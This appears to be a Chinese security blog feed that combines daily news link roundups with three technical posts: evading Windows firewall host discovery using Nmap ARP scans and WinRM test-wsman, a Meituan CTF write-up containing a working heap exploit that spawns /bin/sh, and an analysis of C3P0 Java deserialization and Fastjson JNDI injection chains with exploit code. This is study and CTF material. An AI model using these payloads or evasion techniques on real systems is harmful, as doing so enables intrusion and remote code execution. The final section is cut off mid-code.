网络安全日报 2022年10月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Magniber勒索软件通过JavaScript文件感染Windows用户 https://www.bleepingcomputer.com/news/security/magniber-ransomware-now-infects-windows-users-via-javascript-files/ 2、GitLab修复GitHub导入功能中的RCE漏洞 https://portswigger.net/daily-swig/gitlab-patches-rce-bug-in-github-import-function 3、荷兰警方伪造赎金支付诱骗DeadBolt勒索软件团伙获得155个解密密钥 https://www.bleepingcomputer.com/news/security/police-tricks-deadbolt-ransomware-out-of-155-decryption-keys/ 4、Microsoft电子邮件加密协议存在严重的安全漏洞 https://www.govinfosecurity.com/microsoft-email-encryption-vulnerable-to-structural-leaks-a-20262 5、黑客使用Zimbra零日漏洞攻击近900台服务器 https://www.bleepingcomputer.com/news/security/almost-900-servers-hacked-using-zimbra-zero-day-flaw/ 6、Mango Markets同意向黑客支付4700万美元作为漏洞赏金 https://www.govinfosecurity.com/mango-markets-set-to-pay-47m-bug-bounty-to-hacker-a-20275 7、BAE 为 F-16 战斗机发布新的网络安全系统 https://www.securityweek.com/bae-releases-new-cybersecurity-system-f-16-fighter-aircraft 8、印度最大电力公司 Tata Power 的 IT 基础设施受到网络攻击 https://thehackernews.com/2022/10/indian-energy-company-tata-powers-it.html 9、Palo Alto Networks修复了PAN-OS中的高危身份验证绕过漏洞 https://securityaffairs.co/wordpress/137138/security/palo-alto-networks-pan-os-flaw-3.html 10、研究人员发现冒充Convertio网站传播恶意软件的活动 https://blog.cyble.com/2022/10/14/online-file-converter-phishing-page-spreads-redline-stealer/
网络安全日报 2022年10月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Cloudflare 阻止了针对 Minecraft 服务器的 2.5 Tbps DDoS 攻击 https://securityaffairs.co/wordpress/137062/hacking/ddos-attack-record-q3-2022.html 2、研究人员发现一种新的攻击框架,包括一个名为 Alchimist 的 C2 工具 https://securityaffairs.co/wordpress/137046/hacking/alchimist-c2-tool.html 3、Mango Markets 在闪电贷攻击中损失超过 1 亿美元 https://therecord.media/crypto-trading-platform-mango-markets-drained-of-more-than-100-million-in-flash-loan-attack/ 4、Robustel R1510 工业蜂窝网络路由器存在多个严重漏洞 https://blog.talosintelligence.com/2022/10/vuln-spotlight-robustel-router.html 5、黑客组织Polonium使用恶意软件针对以色列发起攻击 https://thehackernews.com/2022/10/researchers-uncover-custom-backdoors.html 6、npm定时攻击可能威胁供应链安全 https://www.bleepingcomputer.com/news/security/new-npm-timing-attack-could-lead-to-supply-chain-attacks/ 7、NIST 牵头组建商用卫星利益共同体,推进混合卫星网络安全指南研制 https://www.secrss.com/articles/47824 8、西门子SIMATIC PLC中的严重漏洞可能让攻击者窃取加密密钥 https://thehackernews.com/2022/10/critical-bug-in-siemens-simatic-plcs.html 9、QBot恶意软件在新的攻击活动中感染了800多名企业用户 https://www.securityweek.com/qbot-malware-infects-over-800-corporate-users-new-ongoing-campaign 10、Aruba修复了EdgeConnect Enterprise Orchestrator中的关键漏洞 https://securityaffairs.co/wordpress/137000/security/aruba-edgeconnect-flaws.html
Nmap抓包分析与绕过Windows防火墙
前言 在打靶场的过程中使用Nmap时发现点小问题,借此机会详细分析下情况,于是有了这篇文章。 本文包含以下内容: Nmap抓包分析 内网下绕过Windows防火墙扫描存活主机 这里主要是针对Nmap进行讨论,实战中当然哪个快用哪个。不过万变不离其宗,哪怕稍微了解下其原理都受益无穷。 防火墙 这里的防火墙值得是Windows server自带的防火墙,主要绕过其两个防御规则: 1.禁止ICMP回显 2.隐藏模式 具体见https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd448557(v=ws.10)?redirectedfrom=MSDN,大意为:不会使用ICMP不可达响应UDP查询,不使用RST响应TCP查询。默认开启。 https://shamsher-khan-404.medium.com/understanding-nmap-scan-with-wireshark-5144d68059f7-sn:禁用端口扫描 -P* 用于选择不同的PING方法,用于存活扫描 Nmap抓包分析 拓扑图 关闭防火墙便于查看数据包 主机发现(Ping) -PS(TCP SYN) TCP SYN Ping:发送单个TCP SYN包到指定端口检测主机是否存活,默认80端口。该扫描就是经典的半开放扫描。 请求局域网主机135端口(开启) nmap -sn -PS135 172.16.1.128 -vvv -n --disable-arp-ping #-n 禁用dns解析 注意nmap扫局域网存活主机都会预先进行arp扫描,在这里禁用了端口扫描,意味着nmap只会进行存活扫描,当nmap进行arp扫描后发现主机存活就不会进行后续操作,wireshark也就抓不到包,所以使用--disable-arp-ping禁用arp扫描。 请求局域网主机666端口(关闭) nmap -sn -PS666 172.16.1.128 -vvv -n --disable-arp-ping 请求远程主机135端口(开启): 还是这里会发现,和扫局域网比起来多了很多包,为什么和扫局域网情况不一样? 还是fofa随便找个开启135端口的IP: 这里会发现,和扫局域网比起来多了很多包。 请求远程主机6666端口(关闭): 奇怪的是,明明远程主机返回了RST/ACK包,但nmap没有接收到。 为什么会有这样的差别?翻了翻nmap官方文档,其中有这样一句话: RST报文是运行Nmap的机器的内核为响应意外的SYN/ACK而发送的,而不是Nmap本身。 突然想到,我的kali是放在vmware,以nat形式接入网络,这样偶尔会出现点小问题。 于是我在windows上装了个nmap再进行测试: 再看下抓包 发现这里没发RST包 关掉防火墙再试,还一下发俩RST…… 接下来将vmware网络模式换为桥接,发现正常了。说明是NAT网络的问题。 -PA(TCP ACK) TCP ACK Ping:发送单个TCP ACK包到指定端口检测主机是否存活,默认80端口 请求局域网主机135端口(开启) 一般ACK包是双方建立起连接发送的,但实际上不存在连接,无论端口是否开启,远程主机都会用RST包来回应,以此来判断主机存活。当然很多防御策略都会丢弃无效包防止被检测。 nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping 请求局域网主机666端口(关闭) nmap -sn -PA666 172.16.1.128 -vvv -n --disable-arp-ping -PU(UDP) UDP Ping:发送UDP包到指定端口检测主机是否存活,默认40125端口。特定端口会发送特定的UDP包以便于获取更好的响应。 按照最新官方文档解释,该包发送大概有以下几种情况: 端口关闭->返回ICMP端口不可达包->判断主机存活。 返回其他ICMP错误,如主机/网络不可达或TTL超标等->判断停机。 端口开启且该服务不响应—>nmap未接收到返回包->判断停机。 端口关闭且协议不匹配->返回ICMP端口不可达包->判断主机存活。 这就是为什么默认要用40125这么冷门的端口,避免有服务使用该端口。 nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping 返回ICMP端口不可达,仍旧判断出主机存活。 局域网没什么问题,扫外网的话同样有前文说的Vmware Nat网络问题,注意一下就好。 -PY(SCTP INIT) SCTP INIT Ping:发送包含最小INIT块的SCTP包到指定端口检测主机是否存活,默认80端口。SCTP可看做TCP协议的改版。 nmap -sn -PY135 172.16.1.128 -vvv -n --disable-arp-ping 返回协议不可达,以此判断出主机存活。 -PR(ARP) ARP Ping:ARP扫描,Nmap扫内网最常用的方式。 nmap -sn -PR 172.16.1.128 -vvv -n 接收到arp返回包,判断主机存活。 -PE/PP/PM(ICMP) ICMP Ping:三种ICMP标准请求,如果防火墙关掉ICMP回显则收不到reply。 第一个就是常说的Ping。 第二个是时间戳请求 第三个是地址掩码请求 ICMP标准还有个信息请求,但目前未被广泛支持,所以Nmap没有做相关功能。 -PO(IP Protocol) IP Protocol Ping:默认发送ICMP(协议1)、IGMP(协议2)和IP-in-IP(协议4),更改协议需要改nmap.h文件中的DEFAULT_PROTO_PROBE_PORT_SPEC。目前意义不大。 nmap -sn -PO -vv 172.16.1.128 -n --disable-arp-ping 端口扫描(Scan) 其实端口扫描(Scan)很多参数和主机发现(Ping)的前期抓包情况是一样的。Ping相当于点到为止,根据回显发现主机存活即可,而Scan还需要进一步分析,判断端口是否开启、判断什么服务等。 由于大部分Scan参数与Ping参数请求包一致,而部分Scan参数在本文中并未体现,所以暂且贴出三个参数抓包情况。 -sS(TCP SYN) TCP SYN scan:经典的半开放扫描。 nmap -Pn -sS -p 135 -vvv 172.16.1.128 -n 可见发送的请求包和-PS是一样的,至于Nmap如何判断如何分析,这里就不关心了。 -sT(TCP connect) TCP connect scan:TCP连接扫描,三次握手确认目标后直接发送RST结束当前连接,跳过四次挥手阶段。 端口开启 nmap -Pn -sT -p 135 172.16.1.128 -vvv -n --disable-arp-ping # -Pn 不进行主机存活探测 端口关闭 可以发现,-sT和-PS两个扫描的抓包情况十分接近,只有收到SYN/ACK返回包后应答的不同,这也是-PS被称为半开放扫描的原理。 -sU(UDP) UDP scans:发送UDP包进行扫描 nmap -Pn -sU -p 135 172.16.1.128 -vvv -n --disable-arp-ping 这里显示open|filtered,为什么呢? 因为UDP包请求到开放的端口,经常没有回显。而且这里使用-Pn跳过了主机存活探测,默认主机存活,又因为收不到回显,所以nmap无法判断该端口是开启还是被防御规则过滤。 抓包情况和-PU基本一致: 绕防火墙测试 拓扑图 测试 nmap -sn -PS135 172.16.1.128 -vvv -n --disable-arp-ping 未收到[SYN, ACK]返回包,判断主机离线。 nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping 未收到[RST, ACK]返回包,判断主机离线。 nmap -sn -PU135 172.16.1.128 -vvv -n --disable-arp-ping nmap -sn -PY135 172.16.1.128 -vvv -n --disable-arp-ping nmap -sn -PR 172.16.1.128 -vvv -n 成功收到ARP回显,判断主机存活: 这样一圈测试下来,发现只有ARP扫描可以。原因也很简单,ARP扫描不会走靶机防火墙,而是以广播的形式进行扫描;而其他参数不是被禁ICMP回显规则拦截就是被隐身模式过滤。 后面又尝试了常用的nbt扫描、smb扫描、以及Nmap其他参数,仍然绕不过防火墙。 WINRM 难道就止步于此了吗?突然想到,之前用Ladon插件扫的时候,没见什么防火墙拦截。 于是拿Ladon测试了下,选多协议探测存活主机,一扫,果真有: WIMRM,很熟悉,这也能拿来扫内网? 简单概述下:WIMRM是windows自带的服务,开启服务后防火墙默认放心5985(HTTP)/5986(HTTPS)端口,平常拿来横向移动。 由于没搜到Ladon源码怎么实现该扫描,谷歌找了找WINRM的文章:https://www.hackingarticles.in/winrm-penetration-testing/ 其中有一行代码: test-wsman -computername "172.16.1.128" 很快就有回显: 随便输了个其他IP,报错: 显然,使用该服务也可以绕过Windows防火墙进行存活主机扫描。 结语 总结一下: arp扫描 可以使用工具,但到了扫内网的情况,都是拿shell了,所以直接cmd命令:arp/a即可。 WINRM test-wsman -computername "172.16.1.128" 至于如何绕防火墙进行端口扫描,留到以后再说吧。
网络安全日报 2022年10月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Google 向 Android 和 Chrome 推出 Passkey 无密码登录支持 https://thehackernews.com/2022/10/google-rolling-out-passkey-passwordless.html 2、VMware 尚未修复一年前披露的 vCenter Server 中的提权漏洞 https://securityaffairs.co/wordpress/136979/hacking/vmware-unpatched-cve-2021-22048.html 3、LockBit 附属公司入侵 Microsoft Exchange 服务器以部署勒索软件 https://securityaffairs.co/wordpress/136968/cyber-crime/microsoft-exchange-lockbit-ransomware.html 4、网络犯罪分子使用 Vishing 诱骗受害者安装 Android 银行恶意软件 https://thehackernews.com/2022/10/hackers-using-vishing-tactics-to-trick.html 5、微软更新策略阻止对本地管理账户的暴力攻击 https://www.bleepingcomputer.com/news/microsoft/all-windows-versions-can-now-block-admin-brute-force-attacks/ 6、诈骗者伪装成加密货币发起新一轮PayPal诈骗攻击 https://www.infosecurity-magazine.com/news/paypal-invoice-scams-using-crypto/ 7、五角大楼将360、大疆、知道创宇和中科曙光等 13 家中国公司列入黑名单 https://www.solidot.org/story?sid=73010 8、英国将耗资5000万英镑建立新的“国防网络学院” https://www.secrss.com/articles/47745 9、键盘余热可能泄露密码,20秒内拍下键盘热像图,密码泄露86% https://www.freebuf.com/articles/database/346627.html 10、Deepfake成网络犯罪经济的新高峰 https://securityaffairs.co/wordpress/136927/cyber-crime/deepfakes-services-cybercrime.html
网络安全日报 2022年10月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现一种名为 Caffeine 的新型网络钓鱼即服务 (PhaaS) https://securityaffairs.co/wordpress/136953/cyber-crime/caffeine-phishing-platform.html 2、Emotet在近期攻击中使用新的传播和规避技术 https://thehackernews.com/2022/10/new-report-uncovers-emotets-delivery.html 3、诈骗者利用Zoom进行网络钓鱼窃取Exchange凭据 https://www.hackread.com/zoom-phishing-scam-ms-exchange-credentials/ 4、新加坡电信面临多起数据泄露事件 https://www.govinfosecurity.com/singtel-confronts-multiple-data-leaks-a-20243 5、国家标准《信息安全技术 智能手机预装应用程序基本安全要求》公开征求意见 https://www.secrss.com/articles/47735 6、伊朗抗议者劫持国有电视台直播 https://www.solidot.org/story?sid=72997 7、Fortinet警告防火墙和代理产品的0day漏洞正在被广泛利用 https://www.securityweek.com/fortinet-confirms-zero-day-vulnerability-exploited-one-attack 8、西门子称不排除黑客未来利用全局私钥进行 PLC攻击的可能性 https://www.securityweek.com/siemens-not-ruling-out-future-attacks-exploiting-global-private-keys-plc-hacking 9、微软周二补丁日修复了90多个安全漏洞 https://www.securityweek.com/microsoft-warns-new-zero-day-no-fix-yet-exploited-exchange-server-flaws 10、印尼大规模数据泄露事件频发 https://www.cnbeta.com/articles/tech/1325467.htm
2022美团CTF个人决赛WP
Reverse ROP 解析data的ROP,一点一点还原 from pwn import * opcode = open('data', 'rb').read() opcode_gadget = opcode[0x30+8:] for offset in range(0, len(opcode_gadget), 8):    print(f'{hex(u64(opcode_gadget[offset:offset+8]))}') 提取出来密文,转成64位的 cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,          0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40] cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little')  for i in range(0,32,8)] 分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种 流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算 然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1] 最后对比密文跳转结果 照着指令写一个逆回来的过程 #include <stdio.h> #include <stdlib.h> #include <stdint.h> uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186}; void add(int i,int j){    bss_flag[i] -= bss_flag[j]; } void sub(int i,int j){    bss_flag[i] += bss_flag[j]; } void xor1(int i,int j){    bss_flag[i] ^= bss_flag[j]; } int main(){    sub(0x0,0x7);    add(0x1,0x5);    sub(0x3,0x7);    add(0x0,0x5);    add(0x0,0x7);    sub(0x3,0x7);    add(0x0,0x5);    xor1(0x2,0x5);    xor1(0x2,0x5);    sub(0x3,0x7);    sub(0x2,0x6);    xor1(0x0,0x7);    add(0x2,0x4);    add(0x1,0x4);    xor1(0x1,0x7);    xor1(0x0,0x7);    sub(0x0,0x5);    sub(0x0,0x7);    sub(0x0,0x5);    add(0x1,0x7);    xor1(0x1,0x5);    add(0x1,0x6);    sub(0x1,0x4);    xor1(0x2,0x4);    add(0x1,0x4);    sub(0x0,0x6);    sub(0x2,0x7);    add(0x1,0x6);    sub(0x2,0x5);    add(0x0,0x7);    xor1(0x3,0x6);    add(0x2,0x4);    xor1(0x0,0x6);    xor1(0x0,0x5);    xor1(0x3,0x7);    xor1(0x0,0x4);    xor1(0x2,0x5);    xor1(0x2,0x6);    xor1(0x2,0x6);    xor1(0x3,0x4);    xor1(0x0,0x7);    xor1(0x2,0x5);    xor1(0x0,0x4);    xor1(0x3,0x5);    xor1(0x1,0x6);    xor1(0x3,0x7);    xor1(0x0,0x4);    xor1(0x1,0x4);    xor1(0x2,0x7);    xor1(0x1,0x7);    xor1(0x0,0x4);    xor1(0x2,0x6);    xor1(0x0,0x5);    xor1(0x1,0x7);    xor1(0x0,0x5);    xor1(0x0,0x4);    xor1(0x3,0x6);    xor1(0x1,0x7);    xor1(0x2,0x5);    xor1(0x0,0x7);    xor1(0x0,0x7);    xor1(0x2,0x4);    xor1(0x3,0x4);    xor1(0x3,0x7);    printf("%s",(char *)bss_flag);    // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485} } crackme go语言,一开始我ida还f5反编译不了,换了个才可以,难顶 直接sm4加密和rc4,sm4密钥写死在代码里 rc4的key在linese.txt里,密文也在里面 exp: from binascii import unhexlify from Crypto.Cipher import ARC4 from sm4 import SM4Key c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518') key = b'd0cac74c1bbeea071817360e491585e8' cipher = ARC4.new(key) m = cipher.decrypt(c) key0 = SM4Key(b'xc08asb890ajds0a') print(key0.decrypt(m)) Misc What is that stegsolve直接切换几个通道就可以看到 pwn hello 直接网上查到kernel pwn qemu 的非预期 ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat flag就可以 heap 一个UAF+数组上溢出 这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。 from pwn import * context.log_level='debug' #p=process('./pwn') p=remote('47.95.8.59',42283) elf=ELF('./pwn') #libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6') libc=ELF('./libc.so.6') def add(size):    p.sendafter(b'>\n', b'1')    p.sendafter(b'add?\n', str(size).encode()) def dele(index):    p.sendafter(b'>\n', b'2')    p.sendafter(b'up?\n', str(index).encode()) def edit(index,size,content):    p.sendafter(b'>\n', b'3')    p.sendafter(b'write?\n', str(index).encode())    p.sendafter(b'write?\n', str(size).encode())    p.sendafter(b'Content:', content) def show(index):    p.sendafter(b'>\n', b'4')    p.sendafter(b'review?\n', str(index).encode()) show(-11) p.recvuntil('Content:') probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008 arraddr=probase+0x4060 add(0x10) add(0x10) add(0x10) dele(0) dele(1) dele(2) edit(1,8,p64(arraddr)) add(0x10) add(0x10) add(0x10) edit(2,8,p64(probase+elf.got['puts'])) show(0) libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts'] free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] edit(2,8,p64(free_hook)) edit(0,8,p64(system)) add(0x10) edit(3,8,b'/bin/sh\x00') dele(3) p.interactive()
网络安全日报 2022年10月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Android 10月安全更新修补了大约 50 个漏洞 https://www.securityweek.com/android-security-updates-patch-critical-vulnerabilities 2、vm2 沙盒库中发现严重的远程代码执行漏洞 https://www.securityweek.com/critical-remote-code-execution-vulnerability-found-vm2-sandbox-library 3、英特尔确认 Alder Lake CPU相关源代码泄露 https://thehackernews.com/2022/10/intel-confirms-leak-of-alder-lake-bios.html 4、Solana Phantom安全更新NFT推送恶意软件 https://www.bleepingcomputer.com/news/security/solana-phantom-security-update-nfts-push-password-stealing-malware/ 5、宜家智能照明系统缺陷让攻击者将灯泡全开 https://www.darkreading.com/application-security/ikea-smart-light-system-flaw-lets-attackers-turn-bulbs-on-full-blast 6、Telegram创始人称WhatsApp是被植入了后门的“监视工具” https://www.cnbeta.com/articles/tech/1325013.htm 7、巴西利亚银行遭勒索软件攻击被索要50BTC https://cryptopotato.com/brazils-brb-bank-pays-50btc-after-being-targeted-by-a-ransomware-attack/ 8、暗网市场网站BidenCash放出120万张支付卡数据 https://securityaffairs.co/wordpress/136872/cyber-crime/bidencash-carding-site-leak.html 9、最新统计中国台湾2022年网络诈骗陷阱:假网购网站排第一 http://www.chinanews.com.cn/gn/2022/10-08/9868464.shtml 10、黑客组织"KillNet"攻击了美国几个主要机场的网站 https://securityaffairs.co/wordpress/136894/hacktivism/killnet-targets-us-airports.html
Java反序列化之C3P0链学习
0x01 前言 再多打一点基础吧,后续打算先看一看 XStream,Weblogic,strusts2 这些个 0x02 C3P0 组件介绍 C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。 JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。 使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。 连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。 简单来说,C3P0 属于 jdbc 的一部分,和 Druid 差不多 0x03 C3P0 反序列化漏洞 环境 jdk8u65 pom.xml 如下 <dependency>     <groupId>com.mchange</groupId>     <artifactId>c3p0</artifactId>     <version>0.9.5.2</version> </dependency> C3P0 反序列化三条 Gadgets • 在去复现链子之前,既然这是一个数据源的组件,那么大概率会存在的漏洞是 URLClassLoader 的类的动态加载,还有 Jndi 注入。 好叭看了其他师傅的文章才知道,C3P0 常见的利用方式有如下三种 • URLClassLoader 远程类加载 • JNDI 注入 • 利用 HEX 序列化字节加载器进行反序列化攻击(第一次见,应该是我少见多怪了 我们还是以漏洞发现者的角度来复现一遍,尝试着能否少看一些其他师傅的文章,较为独立的找到链子。 C3P0 之 URLClassLoader 的链子 C3P0 之 URLClassLoader 流程分析 我们先想一想,既然是 URLClassLoader 的链子,什么场景下会用到 URLClassLoader 的链子呢? 我的第一想法是,获取数据源很可能是通过 URLClassLoader 的,事实证明我的这种想法非常愚蠢,因为获取数据源并不是获取一个类。当然,最终也没找到,不过也是有点收获的。 后面又想到了,可能是 Ref 这种类型的类,于是我又回头找了一下,但是因为 IDEA 未能搜索依赖库内的内容,所以就寄了,直接看了其他师傅的文章。 找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法 最后还有类的加载 ———— instance(),我们的链子尾部就找好了。 继续往上找,应该是去找谁调用了 ReferenceableUtils.referenceToObject()   ReferenceIndirector 类的 getObject() 方法调用了 ReferenceableUtils.referenceToObject(),继续往上找   PoolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject(),同时这也正好是一个入口类。 总结链子流程图如图   C3P0 之 URLClassLoader EXP 编写 手写一遍 EXP 试试 先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。 EXP 如下 public class RefToURLClassLoader {       public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {           Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");           Reference reference = new Reference("Calc", "Calc","http://127.0.0.1:9999/");           Method method = clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);           method.setAccessible(true);           Object o = method.invoke(clazz, reference, null, null, null);           Object object = method.invoke(o, null, null, null, null);       }   }  继续往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法 这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件,也就是传入的类必须要是 IndirectlySerialized 这个类。 在进行完这个判断之后 this.connectionPoolDataSource = (ConnectionPoolDataSource) o; 执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口,所以是无法直接用于代码里面的。  这个地方有点卡住了,我们不妨去看一下 PoolBackedDataSourceBase#writeObject() 的时候,也就是序列化的时候做了什么 如图,直接包装了一层 indirector.indirectForm()   我们跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是 com.mchange.v2.naming.ReferenceIndirector,所以语句也可以这么改写 ReferenceIndirector.indirectForm() 经过 ReferenceIndirector.indirectForm() 的 “淬炼”,我们直接看返回值是什么  这里返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类  跟进一下继承的接口  发现它继承了 Serializable 接口,至此,包装的过程分析结束。现在我们拿到的 "ConnectionPoolDataSource" 外表上还是 "ConnectionPoolDataSource",但是实际上已经变成了 "ReferenceSerialized" 这个类;事后师傅们可以自行打断点调试,这样体会的更深刻一些。 EXP 的编写也较为简单,值得一提的是,这里面有一个 getReference() 方法可以直接 new 一个 Reference 对象。 通过反射修改 connectionPoolDataSource 属性值为我们的恶意 ConnectionPoolDataSource 类  C3P0 之 JNDI 注入 误打误撞看到的一处伪 JNDI 注入,失败告终 虽然是误打误撞看到的,也是失败的,但是依然有价值。后面看了https://goodapple.top/的博客,发现这里居然还是可以利用的,简直太强了。 其实是在寻找上一条 Gadget 的时候发现的 位置在这个地方 com.mchange.v2.naming.ReferenceIndirector 它的 getObject() 方法里面有 initialContext.lookup() 所以我尝试了一下发现几个问题,虽然是坑吧,但是这个坑我更愿意称之为尝试。 首先这里,我们如果要触发 JNDI 注入,那么肯定需要控制 contextName 这个属性值,结果好巧不巧,这个属性值是一个类    既然是一个类,就不能直接赋给字符串对象,然后我尝试了它接口的实现类,发现不行,只能是自己这个接口;这利用面感觉太小太小了,很难挖;所以我这里就放弃了。 也挂一手失败的 EXP 吧 public class Test {       public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException, InstantiationException, InvocationTargetException, InvalidNameException {           Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");           Method method = clazz.getDeclaredMethod("getObject");           Field ContextField = clazz.getDeclaredField("contextName");           ContextField.setAccessible(true);           DnsName dnsName = new DnsName();           ContextField.set(dnsName,dnsName);           Object o = method.invoke(clazz);           method.invoke(o);       }   } 挺有意思的一次尝试,哈哈哈哈。 C3P0 之 JNDI 注入流程分析 这条链子是基于 Fastjson 链子的,也就是说,是 Fastjson 的某一条链 我们还是以漏洞发现者的思维去寻找,在库中全局搜索 Jndi,看看是否有收获  点开第一个试一下,接着在这个类当中找 jndi 关键词,看到了这个方法:dereference()   在第 112 行与第 114 行,有非常惹人注目的 ctx.lookup() 这里被 lookup() 的变量是 jndiName,跟进去看一下 jndiName 是什么  jndiName 是由 this.getJndiName() 搞来的,跟进看一看 getJndiName() 方法  这个方法做了一件什么事呢?它判断了拿进来的 jndiName 是不是 Name 的类型,如果是就返回 ((Name) jndiName).clone(),若不是就返回 String;回想起我前文挖洞失败的那个经历,不就是因为传参是一个对象所以无法利用吗! 我这里的运气非常好,第一次找就找到了这个漏洞类 回到前面,我们看一下 dereference() 方法,是否允许我们传入一个 String 类型的参数  至此,链子的尾部已经是没问题的了,向上找可用的地方  同一个类下的 inner() 方法调用了它,继续往上找  这里有非常多的 getter/setter 方法,已经是满足作为 fastjson 调用链的条件了,但是对于选择上来说,我们选最简单的 setLoginTimeout() 方法,因为它的传参只需要我们传入一个整数即可。 我觉得这里已经可以写 EXP 了,但是看到有其他师傅的文章分析的意思是:还要继续向上找,可能是因为这个 JndiRefForwardingDataSource 类是 default 的类,觉得利用面还是不够大吧,我个人觉得从攻击的角度上来说是都可以的,后续在写 EXP 的环节也会把这个写进去。 如果要继续网上找的话,还有一个是可以利用的类  再向上找可能还是可以,还能利用,但已经完全没必要了。因为黑命单加的都是大类,如果简短的链子被 ban 了,再深的链子也是被 ban 的。 C3P0 之 JNDI EXP 构造 先导入 fastjson 的包,就先导 1.2.24 的吧,因为 1.2.25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单里面。 <dependency>       <groupId>com.alibaba</groupId>       <artifactId>fastjson</artifactId>       <version>1.2.24</version>   </dependency> JndiRefForwardingDataSource 的 EXP 如下 package JNDIVul;      import com.alibaba.fastjson.JSON;      // JndiRefForwardingDataSource 类的直接 EXP 调用   public class JndiForwardingDataSourceEXP {       public static void main(String[] args) {           String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +                   "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";           JSON.parse(payload);       }   } 因为是 default 作用域的类,所以不可以直接 new,这里我们直接用 fastjson 的方式去调   JndiRefConnectionPoolDataSource 的 EXP 也大同小异,因为这是个 public 为作用域的类,我们可以先通过这种方式测试一下链子的可用性。 public class JndiRefConnectionPoolDataSourceTest {       public static void main(String[] args) throws PropertyVetoException, SQLException {           JndiRefConnectionPoolDataSource 